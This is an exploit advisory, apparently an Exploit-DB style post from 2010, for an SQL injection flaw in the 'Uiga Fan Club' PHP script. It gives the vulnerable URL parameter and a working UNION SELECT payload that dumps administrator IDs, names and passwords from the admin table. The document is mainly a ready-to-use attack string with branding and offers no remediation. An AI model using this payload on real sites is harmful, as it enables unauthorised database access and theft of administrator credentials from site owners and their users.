|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28  |  # Exploit Title: Uiga Fan Club SQL Injection Vulnerability  # Date: 22/03/2010  # Author: Sioma Labs # Site : http://www.scriptdevelopers.net/products/ufc.html # Software Link: http://www.scriptdevelopers.net/download/uigafanclub.zip # Version: N/A # Tested on: Win (Wamp) # CVE : N/A  __ _ __ _  / _(_) ____ __ ___ __ _/ /__ _| |_____  \ \| |/ _ \| '_ <code> _ \ / _</code> |/ // _` | '_ \/ __| _\ \ | (_) | | | | | | (_| | / /___ (_| | |_) \__ \ \__/_|\___/|_| |_| |_|\__,_| \____/\__,_|_.__/|___/ Exploit :  http://site/index.php?view=photos&id=[SQLi] Example :  http://localhost/uigafan/index.php?view=photos&id=-7 Union Select 1,2,group_concat(admin_id,0x3a,admin_name,0x3a,admin_password),4,5 from admin-- #Sioma Labs #siomalabs.com #Sioma Agent 154  |